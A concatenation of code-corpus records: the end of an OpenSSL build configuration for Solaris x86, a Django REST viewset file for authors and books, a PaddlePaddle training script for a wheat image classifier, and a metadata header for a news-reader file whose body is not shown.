'openssl/crypto/bio/bss_mem.c', 'openssl/crypto/bio/bss_null.c', 'openssl/crypto/bio/bss_sock.c', 'openssl/crypto/blake2/blake2b.c', 'openssl/crypto/blake2/blake2s.c', 'openssl/crypto/blake2/m_blake2b.c', 'openssl/crypto/blake2/m_blake2s.c', 'openssl/crypto/bn/bn_add.c', 'openssl/crypto/bn/bn_blind.c', 'openssl/crypto/bn/bn_const.c', 'openssl/crypto/bn/bn_ctx.c', 'openssl/crypto/bn/bn_depr.c', 'openssl/crypto/bn/bn_dh.c', 'openssl/crypto/bn/bn_div.c', 'openssl/crypto/bn/bn_err.c', 'openssl/crypto/bn/bn_exp.c', 'openssl/crypto/bn/bn_exp2.c', 'openssl/crypto/bn/bn_gcd.c', 'openssl/crypto/bn/bn_gf2m.c', 'openssl/crypto/bn/bn_intern.c', 'openssl/crypto/bn/bn_kron.c', 'openssl/crypto/bn/bn_lib.c', 'openssl/crypto/bn/bn_mod.c', 'openssl/crypto/bn/bn_mont.c', 'openssl/crypto/bn/bn_mpi.c', 'openssl/crypto/bn/bn_mul.c', 'openssl/crypto/bn/bn_nist.c', 'openssl/crypto/bn/bn_prime.c', 'openssl/crypto/bn/bn_print.c', 'openssl/crypto/bn/bn_rand.c', 'openssl/crypto/bn/bn_recp.c', 'openssl/crypto/bn/bn_shift.c', 'openssl/crypto/bn/bn_sqr.c', 'openssl/crypto/bn/bn_sqrt.c', 'openssl/crypto/bn/bn_srp.c', 'openssl/crypto/bn/bn_word.c', 'openssl/crypto/bn/bn_x931p.c', 'openssl/crypto/buffer/buf_err.c', 'openssl/crypto/buffer/buffer.c', 'openssl/crypto/camellia/cmll_cfb.c', 'openssl/crypto/camellia/cmll_ctr.c', 'openssl/crypto/camellia/cmll_ecb.c', 'openssl/crypto/camellia/cmll_ofb.c', 'openssl/crypto/cast/c_cfb64.c', 'openssl/crypto/cast/c_ecb.c', 'openssl/crypto/cast/c_enc.c', 'openssl/crypto/cast/c_ofb64.c', 'openssl/crypto/cast/c_skey.c', 'openssl/crypto/cmac/cm_ameth.c', 'openssl/crypto/cmac/cm_pmeth.c', 'openssl/crypto/cmac/cmac.c', 'openssl/crypto/cms/cms_asn1.c', 'openssl/crypto/cms/cms_att.c', 'openssl/crypto/cms/cms_cd.c', 'openssl/crypto/cms/cms_dd.c', 'openssl/crypto/cms/cms_enc.c', 'openssl/crypto/cms/cms_env.c', 'openssl/crypto/cms/cms_err.c', 'openssl/crypto/cms/cms_ess.c', 'openssl/crypto/cms/cms_io.c', 'openssl/crypto/cms/cms_kari.c', 'openssl/crypto/cms/cms_lib.c', 'openssl/crypto/cms/cms_pwri.c', 'openssl/crypto/cms/cms_sd.c', 'openssl/crypto/cms/cms_smime.c', 'openssl/crypto/conf/conf_api.c', 'openssl/crypto/conf/conf_def.c', 'openssl/crypto/conf/conf_err.c', 'openssl/crypto/conf/conf_lib.c', 'openssl/crypto/conf/conf_mall.c', 'openssl/crypto/conf/conf_mod.c', 'openssl/crypto/conf/conf_sap.c', 'openssl/crypto/conf/conf_ssl.c', 'openssl/crypto/cpt_err.c', 'openssl/crypto/cryptlib.c', 'openssl/crypto/ct/ct_b64.c', 'openssl/crypto/ct/ct_err.c', 'openssl/crypto/ct/ct_log.c', 'openssl/crypto/ct/ct_oct.c', 'openssl/crypto/ct/ct_policy.c', 'openssl/crypto/ct/ct_prn.c', 'openssl/crypto/ct/ct_sct.c', 'openssl/crypto/ct/ct_sct_ctx.c', 'openssl/crypto/ct/ct_vfy.c', 'openssl/crypto/ct/ct_x509v3.c', 'openssl/crypto/ctype.c', 'openssl/crypto/cversion.c', 'openssl/crypto/des/cbc_cksm.c', 'openssl/crypto/des/cbc_enc.c', 'openssl/crypto/des/cfb64ede.c', 'openssl/crypto/des/cfb64enc.c', 'openssl/crypto/des/cfb_enc.c', 'openssl/crypto/des/ecb3_enc.c', 'openssl/crypto/des/ecb_enc.c', 'openssl/crypto/des/fcrypt.c', 'openssl/crypto/des/ofb64ede.c', 'openssl/crypto/des/ofb64enc.c', 'openssl/crypto/des/ofb_enc.c', 'openssl/crypto/des/pcbc_enc.c', 'openssl/crypto/des/qud_cksm.c', 'openssl/crypto/des/rand_key.c', 'openssl/crypto/des/set_key.c', 'openssl/crypto/des/str2key.c', 'openssl/crypto/des/xcbc_enc.c', 'openssl/crypto/dh/dh_ameth.c', 'openssl/crypto/dh/dh_asn1.c', 'openssl/crypto/dh/dh_check.c', 'openssl/crypto/dh/dh_depr.c', 'openssl/crypto/dh/dh_err.c', 'openssl/crypto/dh/dh_gen.c', 'openssl/crypto/dh/dh_kdf.c', 'openssl/crypto/dh/dh_key.c', 'openssl/crypto/dh/dh_lib.c', 'openssl/crypto/dh/dh_meth.c', 'openssl/crypto/dh/dh_pmeth.c', 'openssl/crypto/dh/dh_prn.c', 'openssl/crypto/dh/dh_rfc5114.c', 'openssl/crypto/dh/dh_rfc7919.c', 'openssl/crypto/dsa/dsa_ameth.c', 'openssl/crypto/dsa/dsa_asn1.c', 'openssl/crypto/dsa/dsa_depr.c', 'openssl/crypto/dsa/dsa_err.c', 'openssl/crypto/dsa/dsa_gen.c', 'openssl/crypto/dsa/dsa_key.c', 'openssl/crypto/dsa/dsa_lib.c', 'openssl/crypto/dsa/dsa_meth.c', 'openssl/crypto/dsa/dsa_ossl.c', 'openssl/crypto/dsa/dsa_pmeth.c', 'openssl/crypto/dsa/dsa_prn.c', 'openssl/crypto/dsa/dsa_sign.c', 'openssl/crypto/dsa/dsa_vrf.c', 'openssl/crypto/dso/dso_dl.c', 'openssl/crypto/dso/dso_dlfcn.c', 'openssl/crypto/dso/dso_err.c', 'openssl/crypto/dso/dso_lib.c', 'openssl/crypto/dso/dso_openssl.c', 'openssl/crypto/dso/dso_vms.c', 'openssl/crypto/dso/dso_win32.c', 'openssl/crypto/ebcdic.c', 'openssl/crypto/ec/curve25519.c', 'openssl/crypto/ec/curve448/arch_32/f_impl.c', 'openssl/crypto/ec/curve448/curve448.c', 'openssl/crypto/ec/curve448/curve448_tables.c', 'openssl/crypto/ec/curve448/eddsa.c', 'openssl/crypto/ec/curve448/f_generic.c', 'openssl/crypto/ec/curve448/scalar.c', 'openssl/crypto/ec/ec2_oct.c', 'openssl/crypto/ec/ec2_smpl.c', 'openssl/crypto/ec/ec_ameth.c', 'openssl/crypto/ec/ec_asn1.c', 'openssl/crypto/ec/ec_check.c', 'openssl/crypto/ec/ec_curve.c', 'openssl/crypto/ec/ec_cvt.c', 'openssl/crypto/ec/ec_err.c', 'openssl/crypto/ec/ec_key.c', 'openssl/crypto/ec/ec_kmeth.c', 'openssl/crypto/ec/ec_lib.c', 'openssl/crypto/ec/ec_mult.c', 'openssl/crypto/ec/ec_oct.c', 'openssl/crypto/ec/ec_pmeth.c', 'openssl/crypto/ec/ec_print.c', 'openssl/crypto/ec/ecdh_kdf.c', 'openssl/crypto/ec/ecdh_ossl.c', 'openssl/crypto/ec/ecdsa_ossl.c', 'openssl/crypto/ec/ecdsa_sign.c', 'openssl/crypto/ec/ecdsa_vrf.c', 'openssl/crypto/ec/eck_prn.c', 'openssl/crypto/ec/ecp_mont.c', 'openssl/crypto/ec/ecp_nist.c', 'openssl/crypto/ec/ecp_nistp224.c', 'openssl/crypto/ec/ecp_nistp256.c', 'openssl/crypto/ec/ecp_nistp521.c', 'openssl/crypto/ec/ecp_nistputil.c', 'openssl/crypto/ec/ecp_nistz256.c', 'openssl/crypto/ec/ecp_oct.c', 'openssl/crypto/ec/ecp_smpl.c', 'openssl/crypto/ec/ecx_meth.c', 'openssl/crypto/engine/eng_all.c', 'openssl/crypto/engine/eng_cnf.c', 'openssl/crypto/engine/eng_ctrl.c', 'openssl/crypto/engine/eng_dyn.c', 'openssl/crypto/engine/eng_err.c', 'openssl/crypto/engine/eng_fat.c', 'openssl/crypto/engine/eng_init.c', 'openssl/crypto/engine/eng_lib.c', 'openssl/crypto/engine/eng_list.c', 'openssl/crypto/engine/eng_openssl.c', 'openssl/crypto/engine/eng_pkey.c', 'openssl/crypto/engine/eng_rdrand.c', 'openssl/crypto/engine/eng_table.c', 'openssl/crypto/engine/tb_asnmth.c', 'openssl/crypto/engine/tb_cipher.c', 'openssl/crypto/engine/tb_dh.c', 'openssl/crypto/engine/tb_digest.c', 'openssl/crypto/engine/tb_dsa.c', 'openssl/crypto/engine/tb_eckey.c', 'openssl/crypto/engine/tb_pkmeth.c', 'openssl/crypto/engine/tb_rand.c', 'openssl/crypto/engine/tb_rsa.c', 'openssl/crypto/err/err.c', 'openssl/crypto/err/err_all.c', 'openssl/crypto/err/err_prn.c', 'openssl/crypto/evp/bio_b64.c', 'openssl/crypto/evp/bio_enc.c', 'openssl/crypto/evp/bio_md.c', 'openssl/crypto/evp/bio_ok.c', 'openssl/crypto/evp/c_allc.c', 'openssl/crypto/evp/c_alld.c', 'openssl/crypto/evp/cmeth_lib.c', 'openssl/crypto/evp/digest.c', 'openssl/crypto/evp/e_aes.c', 'openssl/crypto/evp/e_aes_cbc_hmac_sha1.c', 'openssl/crypto/evp/e_aes_cbc_hmac_sha256.c', 'openssl/crypto/evp/e_aria.c', 'openssl/crypto/evp/e_bf.c', 'openssl/crypto/evp/e_camellia.c', 'openssl/crypto/evp/e_cast.c', 'openssl/crypto/evp/e_chacha20_poly1305.c', 'openssl/crypto/evp/e_des.c', 'openssl/crypto/evp/e_des3.c', 'openssl/crypto/evp/e_idea.c', 'openssl/crypto/evp/e_null.c', 'openssl/crypto/evp/e_old.c', 'openssl/crypto/evp/e_rc2.c', 'openssl/crypto/evp/e_rc4.c', 'openssl/crypto/evp/e_rc4_hmac_md5.c', 'openssl/crypto/evp/e_rc5.c', 'openssl/crypto/evp/e_seed.c', 'openssl/crypto/evp/e_sm4.c', 'openssl/crypto/evp/e_xcbc_d.c', 'openssl/crypto/evp/encode.c', 'openssl/crypto/evp/evp_cnf.c', 'openssl/crypto/evp/evp_enc.c', 'openssl/crypto/evp/evp_err.c', 'openssl/crypto/evp/evp_key.c', 'openssl/crypto/evp/evp_lib.c', 'openssl/crypto/evp/evp_pbe.c', 'openssl/crypto/evp/evp_pkey.c', 'openssl/crypto/evp/m_md2.c', 'openssl/crypto/evp/m_md4.c', 'openssl/crypto/evp/m_md5.c', 'openssl/crypto/evp/m_md5_sha1.c', 'openssl/crypto/evp/m_mdc2.c', 'openssl/crypto/evp/m_null.c', 'openssl/crypto/evp/m_ripemd.c', 'openssl/crypto/evp/m_sha1.c', 'openssl/crypto/evp/m_sha3.c', 'openssl/crypto/evp/m_sigver.c', 'openssl/crypto/evp/m_wp.c', 'openssl/crypto/evp/names.c', 'openssl/crypto/evp/p5_crpt.c', 'openssl/crypto/evp/p5_crpt2.c', 'openssl/crypto/evp/p_dec.c', 'openssl/crypto/evp/p_enc.c', 'openssl/crypto/evp/p_lib.c', 'openssl/crypto/evp/p_open.c', 'openssl/crypto/evp/p_seal.c', 'openssl/crypto/evp/p_sign.c', 'openssl/crypto/evp/p_verify.c', 'openssl/crypto/evp/pbe_scrypt.c', 'openssl/crypto/evp/pmeth_fn.c', 'openssl/crypto/evp/pmeth_gn.c', 'openssl/crypto/evp/pmeth_lib.c', 'openssl/crypto/ex_data.c', 'openssl/crypto/getenv.c', 'openssl/crypto/hmac/hm_ameth.c', 'openssl/crypto/hmac/hm_pmeth.c', 'openssl/crypto/hmac/hmac.c', 'openssl/crypto/idea/i_cbc.c', 'openssl/crypto/idea/i_cfb64.c', 'openssl/crypto/idea/i_ecb.c', 'openssl/crypto/idea/i_ofb64.c', 'openssl/crypto/idea/i_skey.c', 'openssl/crypto/init.c', 'openssl/crypto/kdf/hkdf.c', 'openssl/crypto/kdf/kdf_err.c', 'openssl/crypto/kdf/scrypt.c', 'openssl/crypto/kdf/tls1_prf.c', 'openssl/crypto/lhash/lh_stats.c', 'openssl/crypto/lhash/lhash.c', 'openssl/crypto/md4/md4_dgst.c', 'openssl/crypto/md4/md4_one.c', 'openssl/crypto/md5/md5_dgst.c', 'openssl/crypto/md5/md5_one.c', 'openssl/crypto/mdc2/mdc2_one.c', 'openssl/crypto/mdc2/mdc2dgst.c', 'openssl/crypto/mem.c', 'openssl/crypto/mem_dbg.c', 'openssl/crypto/mem_sec.c', 'openssl/crypto/modes/cbc128.c', 'openssl/crypto/modes/ccm128.c', 'openssl/crypto/modes/cfb128.c', 'openssl/crypto/modes/ctr128.c', 'openssl/crypto/modes/cts128.c', 'openssl/crypto/modes/gcm128.c', 'openssl/crypto/modes/ocb128.c', 'openssl/crypto/modes/ofb128.c', 'openssl/crypto/modes/wrap128.c', 'openssl/crypto/modes/xts128.c', 'openssl/crypto/o_dir.c', 'openssl/crypto/o_fips.c', 'openssl/crypto/o_fopen.c', 'openssl/crypto/o_init.c', 'openssl/crypto/o_str.c', 'openssl/crypto/o_time.c', 'openssl/crypto/objects/o_names.c', 'openssl/crypto/objects/obj_dat.c', 'openssl/crypto/objects/obj_err.c', 'openssl/crypto/objects/obj_lib.c', 'openssl/crypto/objects/obj_xref.c', 'openssl/crypto/ocsp/ocsp_asn.c', 'openssl/crypto/ocsp/ocsp_cl.c', 'openssl/crypto/ocsp/ocsp_err.c', 'openssl/crypto/ocsp/ocsp_ext.c', 'openssl/crypto/ocsp/ocsp_ht.c', 'openssl/crypto/ocsp/ocsp_lib.c', 'openssl/crypto/ocsp/ocsp_prn.c', 'openssl/crypto/ocsp/ocsp_srv.c', 'openssl/crypto/ocsp/ocsp_vfy.c', 'openssl/crypto/ocsp/v3_ocsp.c', 'openssl/crypto/pem/pem_all.c', 'openssl/crypto/pem/pem_err.c', 'openssl/crypto/pem/pem_info.c', 'openssl/crypto/pem/pem_lib.c', 'openssl/crypto/pem/pem_oth.c', 'openssl/crypto/pem/pem_pk8.c', 'openssl/crypto/pem/pem_pkey.c', 'openssl/crypto/pem/pem_sign.c', 'openssl/crypto/pem/pem_x509.c', 'openssl/crypto/pem/pem_xaux.c', 'openssl/crypto/pem/pvkfmt.c', 'openssl/crypto/pkcs12/p12_add.c', 'openssl/crypto/pkcs12/p12_asn.c', 'openssl/crypto/pkcs12/p12_attr.c', 'openssl/crypto/pkcs12/p12_crpt.c', 'openssl/crypto/pkcs12/p12_crt.c', 'openssl/crypto/pkcs12/p12_decr.c', 'openssl/crypto/pkcs12/p12_init.c', 'openssl/crypto/pkcs12/p12_key.c', 'openssl/crypto/pkcs12/p12_kiss.c', 'openssl/crypto/pkcs12/p12_mutl.c', 'openssl/crypto/pkcs12/p12_npas.c', 'openssl/crypto/pkcs12/p12_p8d.c', 'openssl/crypto/pkcs12/p12_p8e.c', 'openssl/crypto/pkcs12/p12_sbag.c', 'openssl/crypto/pkcs12/p12_utl.c', 'openssl/crypto/pkcs12/pk12err.c', 'openssl/crypto/pkcs7/bio_pk7.c', 'openssl/crypto/pkcs7/pk7_asn1.c', 'openssl/crypto/pkcs7/pk7_attr.c', 'openssl/crypto/pkcs7/pk7_doit.c', 'openssl/crypto/pkcs7/pk7_lib.c', 'openssl/crypto/pkcs7/pk7_mime.c', 'openssl/crypto/pkcs7/pk7_smime.c', 'openssl/crypto/pkcs7/pkcs7err.c', 'openssl/crypto/poly1305/poly1305.c', 'openssl/crypto/poly1305/poly1305_ameth.c', 'openssl/crypto/poly1305/poly1305_pmeth.c', 'openssl/crypto/rand/drbg_ctr.c', 'openssl/crypto/rand/drbg_lib.c', 'openssl/crypto/rand/rand_egd.c', 'openssl/crypto/rand/rand_err.c', 'openssl/crypto/rand/rand_lib.c', 'openssl/crypto/rand/rand_unix.c', 'openssl/crypto/rand/rand_vms.c', 'openssl/crypto/rand/rand_win.c', 'openssl/crypto/rand/randfile.c', 'openssl/crypto/rc2/rc2_cbc.c', 'openssl/crypto/rc2/rc2_ecb.c', 'openssl/crypto/rc2/rc2_skey.c', 'openssl/crypto/rc2/rc2cfb64.c', 'openssl/crypto/rc2/rc2ofb64.c', 'openssl/crypto/ripemd/rmd_dgst.c', 'openssl/crypto/ripemd/rmd_one.c', 'openssl/crypto/rsa/rsa_ameth.c', 'openssl/crypto/rsa/rsa_asn1.c', 'openssl/crypto/rsa/rsa_chk.c', 'openssl/crypto/rsa/rsa_crpt.c', 'openssl/crypto/rsa/rsa_depr.c', 'openssl/crypto/rsa/rsa_err.c', 'openssl/crypto/rsa/rsa_gen.c', 'openssl/crypto/rsa/rsa_lib.c', 'openssl/crypto/rsa/rsa_meth.c', 'openssl/crypto/rsa/rsa_mp.c', 'openssl/crypto/rsa/rsa_none.c', 'openssl/crypto/rsa/rsa_oaep.c', 'openssl/crypto/rsa/rsa_ossl.c', 'openssl/crypto/rsa/rsa_pk1.c', 'openssl/crypto/rsa/rsa_pmeth.c', 'openssl/crypto/rsa/rsa_prn.c', 'openssl/crypto/rsa/rsa_pss.c', 'openssl/crypto/rsa/rsa_saos.c', 'openssl/crypto/rsa/rsa_sign.c', 'openssl/crypto/rsa/rsa_ssl.c', 'openssl/crypto/rsa/rsa_x931.c', 'openssl/crypto/rsa/rsa_x931g.c', 'openssl/crypto/seed/seed.c', 'openssl/crypto/seed/seed_cbc.c', 'openssl/crypto/seed/seed_cfb.c', 'openssl/crypto/seed/seed_ecb.c', 'openssl/crypto/seed/seed_ofb.c', 'openssl/crypto/sha/keccak1600.c', 'openssl/crypto/sha/sha1_one.c', 'openssl/crypto/sha/sha1dgst.c', 'openssl/crypto/sha/sha256.c', 'openssl/crypto/sha/sha512.c', 'openssl/crypto/siphash/siphash.c', 'openssl/crypto/siphash/siphash_ameth.c', 'openssl/crypto/siphash/siphash_pmeth.c', 'openssl/crypto/sm2/sm2_crypt.c', 'openssl/crypto/sm2/sm2_err.c', 'openssl/crypto/sm2/sm2_pmeth.c', 'openssl/crypto/sm2/sm2_sign.c', 'openssl/crypto/sm3/m_sm3.c', 'openssl/crypto/sm3/sm3.c', 'openssl/crypto/sm4/sm4.c', 'openssl/crypto/srp/srp_lib.c', 'openssl/crypto/srp/srp_vfy.c', 'openssl/crypto/stack/stack.c', 'openssl/crypto/store/loader_file.c', 'openssl/crypto/store/store_err.c', 'openssl/crypto/store/store_init.c', 'openssl/crypto/store/store_lib.c', 'openssl/crypto/store/store_register.c', 'openssl/crypto/store/store_strings.c', 'openssl/crypto/threads_none.c', 'openssl/crypto/threads_pthread.c', 'openssl/crypto/threads_win.c', 'openssl/crypto/ts/ts_asn1.c', 'openssl/crypto/ts/ts_conf.c', 'openssl/crypto/ts/ts_err.c', 'openssl/crypto/ts/ts_lib.c', 'openssl/crypto/ts/ts_req_print.c', 'openssl/crypto/ts/ts_req_utils.c', 'openssl/crypto/ts/ts_rsp_print.c', 'openssl/crypto/ts/ts_rsp_sign.c', 'openssl/crypto/ts/ts_rsp_utils.c', 'openssl/crypto/ts/ts_rsp_verify.c', 'openssl/crypto/ts/ts_verify_ctx.c', 'openssl/crypto/txt_db/txt_db.c', 'openssl/crypto/ui/ui_err.c', 'openssl/crypto/ui/ui_lib.c', 'openssl/crypto/ui/ui_null.c', 'openssl/crypto/ui/ui_openssl.c', 'openssl/crypto/ui/ui_util.c', 'openssl/crypto/uid.c', 'openssl/crypto/whrlpool/wp_block.c', 'openssl/crypto/whrlpool/wp_dgst.c', 'openssl/crypto/x509/by_dir.c', 'openssl/crypto/x509/by_file.c', 'openssl/crypto/x509/t_crl.c', 'openssl/crypto/x509/t_req.c', 'openssl/crypto/x509/t_x509.c', 'openssl/crypto/x509/x509_att.c', 'openssl/crypto/x509/x509_cmp.c', 'openssl/crypto/x509/x509_d2.c', 'openssl/crypto/x509/x509_def.c', 'openssl/crypto/x509/x509_err.c', 'openssl/crypto/x509/x509_ext.c', 'openssl/crypto/x509/x509_lu.c', 'openssl/crypto/x509/x509_meth.c', 'openssl/crypto/x509/x509_obj.c', 'openssl/crypto/x509/x509_r2x.c', 'openssl/crypto/x509/x509_req.c', 'openssl/crypto/x509/x509_set.c', 'openssl/crypto/x509/x509_trs.c', 'openssl/crypto/x509/x509_txt.c', 'openssl/crypto/x509/x509_v3.c', 'openssl/crypto/x509/x509_vfy.c', 'openssl/crypto/x509/x509_vpm.c', 'openssl/crypto/x509/x509cset.c', 'openssl/crypto/x509/x509name.c', 'openssl/crypto/x509/x509rset.c', 'openssl/crypto/x509/x509spki.c', 'openssl/crypto/x509/x509type.c', 'openssl/crypto/x509/x_all.c', 'openssl/crypto/x509/x_attrib.c', 'openssl/crypto/x509/x_crl.c', 'openssl/crypto/x509/x_exten.c', 'openssl/crypto/x509/x_name.c', 'openssl/crypto/x509/x_pubkey.c', 'openssl/crypto/x509/x_req.c', 'openssl/crypto/x509/x_x509.c', 'openssl/crypto/x509/x_x509a.c', 'openssl/crypto/x509v3/pcy_cache.c', 'openssl/crypto/x509v3/pcy_data.c', 'openssl/crypto/x509v3/pcy_lib.c', 'openssl/crypto/x509v3/pcy_map.c', 'openssl/crypto/x509v3/pcy_node.c', 'openssl/crypto/x509v3/pcy_tree.c', 'openssl/crypto/x509v3/v3_addr.c', 'openssl/crypto/x509v3/v3_admis.c', 'openssl/crypto/x509v3/v3_akey.c', 'openssl/crypto/x509v3/v3_akeya.c', 'openssl/crypto/x509v3/v3_alt.c', 'openssl/crypto/x509v3/v3_asid.c', 'openssl/crypto/x509v3/v3_bcons.c', 'openssl/crypto/x509v3/v3_bitst.c', 'openssl/crypto/x509v3/v3_conf.c', 'openssl/crypto/x509v3/v3_cpols.c', 'openssl/crypto/x509v3/v3_crld.c', 'openssl/crypto/x509v3/v3_enum.c', 'openssl/crypto/x509v3/v3_extku.c', 'openssl/crypto/x509v3/v3_genn.c', 'openssl/crypto/x509v3/v3_ia5.c', 'openssl/crypto/x509v3/v3_info.c', 'openssl/crypto/x509v3/v3_int.c', 'openssl/crypto/x509v3/v3_lib.c', 'openssl/crypto/x509v3/v3_ncons.c', 'openssl/crypto/x509v3/v3_pci.c', 'openssl/crypto/x509v3/v3_pcia.c', 'openssl/crypto/x509v3/v3_pcons.c', 'openssl/crypto/x509v3/v3_pku.c', 'openssl/crypto/x509v3/v3_pmaps.c', 'openssl/crypto/x509v3/v3_prn.c', 'openssl/crypto/x509v3/v3_purp.c', 'openssl/crypto/x509v3/v3_skey.c', 'openssl/crypto/x509v3/v3_sxnet.c', 'openssl/crypto/x509v3/v3_tlsf.c', 'openssl/crypto/x509v3/v3_utl.c', 'openssl/crypto/x509v3/v3err.c', 'openssl/engines/e_capi.c', 'openssl/engines/e_padlock.c', ], 'openssl_sources_solaris-x86-gcc': [ './config/archs/solaris-x86-gcc/asm/crypto/aes/aesni-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/aes/vpaes-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/bf/bf-586.s', './config/archs/solaris-x86-gcc/asm/crypto/bn/bn-586.s', './config/archs/solaris-x86-gcc/asm/crypto/bn/co-586.s', './config/archs/solaris-x86-gcc/asm/crypto/bn/x86-gf2m.s', './config/archs/solaris-x86-gcc/asm/crypto/bn/x86-mont.s', './config/archs/solaris-x86-gcc/asm/crypto/camellia/cmll-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/chacha/chacha-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/des/crypt586.s', './config/archs/solaris-x86-gcc/asm/crypto/des/des-586.s', './config/archs/solaris-x86-gcc/asm/crypto/ec/ecp_nistz256-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/md5/md5-586.s', './config/archs/solaris-x86-gcc/asm/crypto/modes/ghash-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/poly1305/poly1305-x86.s', './config/archs/solaris-x86-gcc/asm/crypto/rc4/rc4-586.s', './config/archs/solaris-x86-gcc/asm/crypto/ripemd/rmd-586.s', './config/archs/solaris-x86-gcc/asm/crypto/sha/sha1-586.s', './config/archs/solaris-x86-gcc/asm/crypto/sha/sha256-586.s', './config/archs/solaris-x86-gcc/asm/crypto/sha/sha512-586.s', './config/archs/solaris-x86-gcc/asm/crypto/whrlpool/wp-mmx.s', './config/archs/solaris-x86-gcc/asm/crypto/x86cpuid.s', './config/archs/solaris-x86-gcc/asm/engines/e_padlock-x86.s', ], 'openssl_defines_solaris-x86-gcc': [ 'NDEBUG', 'FILIO_H', 'L_ENDIAN', 'OPENSSL_PIC', 'OPENSSL_CPUID_OBJ', 'OPENSSL_BN_ASM_PART_WORDS', 'OPENSSL_IA32_SSE2', 'OPENSSL_BN_ASM_MONT', 'OPENSSL_BN_ASM_GF2m', 'SHA1_ASM', 'SHA256_ASM', 'SHA512_ASM', 'RC4_ASM', 'MD5_ASM', 'RMD160_ASM', 'AESNI_ASM', 'VPAES_ASM', 'WHIRLPOOL_ASM', 'GHASH_ASM', 'ECP_NISTZ256_ASM', 'POLY1305_ASM', ], 'openssl_cflags_solaris-x86-gcc': [ '-Wa,--noexecstack', '-Wall -O3 -fomit-frame-pointer', '-pthread', '-Wall -O3 -fomit-frame-pointer', ], 'openssl_ex_libs_solaris-x86-gcc': [ '-lsocket -lnsl -ldl -pthread', ], }, 'include_dirs': [ '.', './include', './crypto', './crypto/include/internal', ], 'defines': ['<@(openssl_defines_solaris-x86-gcc)'], 'cflags' : ['<@(openssl_cflags_solaris-x86-gcc)'], 'libraries': ['<@(openssl_ex_libs_solaris-x86-gcc)'], 'sources': ['<@(openssl_sources)', '<@(openssl_sources_solaris-x86-gcc)'], }
[ "frank@lemanschik.com" ]
frank@lemanschik.com
fc1e8f6b760b7791dac3b7e1c88e9b378d3018de
3ea0d4f12acffed4e0d9de14fce17d44537d99d6
/olistlibrary/books/api/v1/views.py
4cc2693e5b987ebf384c05f0486a0e5167d962b8
[]
no_license
rafaelassacconi/work-at-olist
48a205d02d40f0b17a2354ef314f1800d874b202
13af3adef787f1025e249334dc49052158751299
refs/heads/master
2022-04-25T19:56:22.855110
2020-04-22T18:27:52
2020-04-22T18:27:52
256,761,768
0
0
null
2020-04-18T13:34:14
2020-04-18T13:34:13
null
UTF-8
Python
false
false
757
py
from rest_framework import viewsets from rest_framework import permissions from books.models import Author, Book from books.api.v1.serializers import AuthorSerializer, BookSerializer from django_filters.rest_framework import DjangoFilterBackend class AuthorViewSet(viewsets.ModelViewSet): """ Endpoints for Author list """ queryset = Author.objects.all() serializer_class = AuthorSerializer filter_backends = [DjangoFilterBackend] filterset_fields = ['name'] class BookViewSet(viewsets.ModelViewSet): """ Endpoints for Book list """ queryset = Book.objects.all() serializer_class = BookSerializer filter_backends = [DjangoFilterBackend] filterset_fields = ['name', 'edition', 'publication_year', 'authors__name']
[ "rafaelassacconi@gmail.com" ]
rafaelassacconi@gmail.com
777a5771d9fb29ed8843dd7d2d619b6a939f4750
fad75139e893b4ff108043c2adc4ce4c083e29bc
/MyProject-baidu/dyTrain.py
bd36640af920b49d4a4d02cdc5089c2c3d2ae9ad
[]
no_license
SumFunction/baidu-project-wheat
81cdb7865098e9d4e8dda1da6316c7959733a863
7f1b0cba46a1648331e474c736b690222c043e4a
refs/heads/main
2023-08-27T17:35:47.681642
2021-11-07T14:29:59
2021-11-07T14:29:59
425,512,559
0
0
null
null
null
null
UTF-8
Python
false
false
3,009
py
import paddle.fluid as fluid import numpy as np import paddle import getData from models.SeResNeXt import SeResNeXt from config import config from visualdl import LogWriter def loadOptimizer(parameters): scheduler = paddle.optimizer.lr.CosineAnnealingDecay(learning_rate=config['lr'], T_max=config['num_epochs'], eta_min=config['min_lr'], verbose=True) adam = paddle.optimizer.Adam(learning_rate=scheduler,parameters=parameters) return adam,scheduler def train(): train_loader = getData.getDataLoader("train") model = SeResNeXt(layers=50,class_dim=config['class_dim']) #实例化模型 parameters_dict = paddle.load(config['train_res_paramsPath']) model.set_state_dict(parameters_dict) optimizer,scheduler = loadOptimizer(model.parameters()) #实例化优化器 # parameters_dict = paddle.load('trainResult/model.pdopt') # optimizer.set_state_dict(parameters_dict) num_epochs = config['num_epochs'] # 执行epoch_num次训练 with fluid.dygraph.guard(): bestAcc = 0 with LogWriter(logdir="./log/train1") as writer: for epoch in range(num_epochs): # 读取训练数据进行训练 batch_loss = 0 batch_acc = 0 batch = 0 for batch_id,(inputs,labels) in enumerate(train_loader): batch += 1 # 网络正向执行 pred, acc = model(inputs, labels) # 计算损失值 loss = paddle.nn.functional.cross_entropy(pred, labels) avg_loss = paddle.mean(loss) # 执行反向计算 avg_loss.backward() # 参数更新 optimizer.step() # 将本次计算的梯度值清零,以便进行下一次迭代和梯度更新 optimizer.clear_grad() batch_loss += avg_loss batch_acc += acc batch_acc /= batch if bestAcc <= batch_acc: print("成功保存,第{}代迭代,精度为:{}".format(epoch,batch_acc)) bestAcc = batch_acc paddle.save(model.state_dict(), config['train_res_paramsPath']) paddle.save(optimizer.state_dict(), config['train_res_pdoptPath']) print("Epoch {},Loss {},Accuracy {}".format(epoch, np.array(batch_loss)[0], np.array(batch_acc)[0])) scheduler.step() writer.add_scalar(tag="Accuracy", step=epoch+1, value=batch_acc) writer.add_scalar(tag="Loss", step=epoch+1, value=batch_loss) writer.add_scalar(tag="Learning_rate", step=epoch + 1, value=optimizer.get_lr()) if __name__ == "__main__": train()
[ "user1@lab3.com" ]
user1@lab3.com
4a83dbe17da996d69b94c308bd27b3e03f948b58
e669c8e7068fe2ad549a72c8db623986fcc4cdce
/main.py
dd3a070cedb3370553001b4541cb73fcf6b93e2d
[]
no_license
01TanmayDaga/News-Reader
adf15d45d8a28302d5e19660e118f8d141aa71ea
e03bc1a438dc54c0a2d45a1e8e208d6f140858b0
refs/heads/master
2023-02-10T23:12:35.229800
2021-01-02T05:20:13
2021-01-02T05:20:13
325,813,953
0
0
null
null
null
null
UTF-8
Python
false
false
5,342
py
